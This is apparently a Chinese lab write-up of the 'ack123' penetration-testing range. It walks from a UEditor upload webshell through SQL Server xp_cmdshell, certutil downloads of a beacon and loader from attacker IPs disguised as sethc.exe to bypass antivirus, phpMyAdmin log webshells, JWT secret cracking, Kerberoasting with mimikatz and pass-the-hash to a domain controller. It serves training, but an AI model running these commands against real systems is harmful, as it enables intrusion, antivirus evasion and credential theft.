暗月ack123靶场打靶
环境搭建
此靶场是月师傅九月出师考核靶场,搭建过程参考文章红队考核靶场ack123下载和搭建
靶场地址:https://pan.baidu.com/s/13g_1FFg-ZYYpBwkCvKyYWQ 提取码:7fkj
拓补图
考察点
1.站库分离 外网打点
2.过360全家桶
3.过windwos defender
4.过火绒
5.内网漫游
6.多层网络渗透
7.横向渗透
8.jwt token密钥破解
9.权限提升
10.域渗透
11.phpmyadmin写shell
12.sqlserver 提权
外网打点
这里本来要使用frp内网穿透出去,但是太慢了也不太稳定,索性直接添加一张网卡,桥接模式复制物理地址
信息收集
访问首页,发现cms信息
对靶机进一步扫描
扫出后台地址
手动尝试几个密码无果
注册一个账号看看,得到服务器信息,和编辑器版本
UEditor 1.4.3 任意文件上传getshell
google到此编辑器版本存在任意上传 UEditor 1.4.3 任意文件上传getshell
制作上传html的文件
1 | <form action="http://www.ackmoon.com/admin/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST"> |
再生成一个图片马到本地(不要改成aspx后缀),通过CententType来校验文件是否为图片,再根据文件名最后的后缀作为后缀
利用python在马子的目录起一个http服务
1 | python3 -m http.server 80 |
此处有大坑,不要把图片马的名字改为xx.png?.aspx!!
,因为这里如果改成了这个名字,?会被url编码成ma.png%3F.aspx,就会被过滤
但是不经过url编码,直接修改为ma.png?.aspx,会报错404
应该就在输入框中加入后缀?.aspx
冰蝎连接
内网打点
信息收集
存在360
存在多个网段
上线到msf提权,也可以上线到cs
提权到system
站库分离打点
这里上线到cs使用Erebus插件里的烂土豆提权到system
查看进程和服务,发现存在mysql,但是并没有sqlserver,由上面我们得到的信息,这个web服务器的数据库应该是sqlserver,那么应该是站库分离
对内网存活主机进行端口扫描,发现sqlserver
猜测22网段的存活主机,就是这台web服务器的数据库,翻翻配置文件,找到sqlserver账号密码
msf添加隧道
再起一个代理,方便给其他工具使用
使用msf自带的模块执行xp_cmdshell,成功执行命令
使用无文件落地上线到cs上发现一直没反应,应该是调用pwershell被杀软拦截了,再使用certutil远程下载也被火绒拦截
1 | certutil -urlcache -split -f http://192.168.31.118/beacon.exe C:\Windows\Temp\test.exe |
重新Nacicat permium新建一个连接,要用Proxifier走一下kali起的代理
xp_cmdshell默认关闭的,需要手动开启
1 | #启用xp_cmdshell |
执行命令
1 | EXEC master..xp_cmdshell 'whoami'; |
发现杀软,这个命令在kali上执行是报错的可能是回显太长了?
cs直接生成无文件落地,调用pwershell或者直接使用certutil去下载远程后门,都会被火绒拦截
解决办法来自这篇文章 记一次利用mssql上线,这里我直接使用工具MDUT上的com组件方便一点,也需要走代理
1 | copy C:\Windows\System32\certutil.exe C:\windows\temp\sethc.exe |
生成免杀shell放到kali上,再用python起一个http服务,用刚刚复制的certutil.exe来下载
1 | C:\Windows\Temp\sethc.exe -urlcache -split -f "http://192.168.31.54/pMJYrMDKRj.exe" C:\Windows\Temp\loader.exe |
运行后门,上线
1 | C:\Windows\Temp\loader.exe |
成功bypass火绒上线
粘贴systeminfo信息到在线提权辅助工具,拿到提权可用信息,有的不准自己判断,最后还是试用Erebus插件里的烂土豆提权到system
注入进程到一个x64进程上稳定一下后门,到此已经拿下2台主机,web服务器和数据库服务器,继续横向,继续信息收集
phpmyadmin getshell
发现存活另一台存活主机(前面没开)
存在80端口,用最开始msf起的socks5代理浏览器访问
登录抓个包,发现熟悉的jwt格式密文
加密需要秘钥
用工具来跑
1 | git clone https://github.com/ticarpi/jwt_tool.git |
跑出秘钥 Qweasdzxc5
看了公开wp才知道考点在这个响应头,可以google到phpstudy版本,从而得到phpmyadmin路径 url/phpmyadmin4.8.5(感觉很无厘头。。)
root/Qweasdzxc5 登录成功
phpmyadmin 日志包含写马
1 | #查询是否开启日志功能 |
蚁剑走代理连接
上线到cs,这台靶机是不出网的,所以上线就要用到转发上线
成功上线cs,提权到system
域渗透
信息收集
发现存在域ack123.com,而且存在两张网卡,域控ip 10.10.10.135
域控、域管理员
kerberost攻击域控
1 | Kerberoast攻击共分为五步 |
查询spn服务
1 | shell setspn -T ack123.com -q */* |
创建票据
1 | mimikatz kerberos::ask /target:mysql/16server-dc1.ack123.com |
列出票据
1 | mimikatz kerberos::list |
切到temp目录导出票据
下载下来
使用工具爆破密码https://github.com/nidem/kerberoast
根据拿到的密码和前面查询到的域管账号进行hash传递
成功上线dc
在用dc1的域管去横向136那台主机,完事!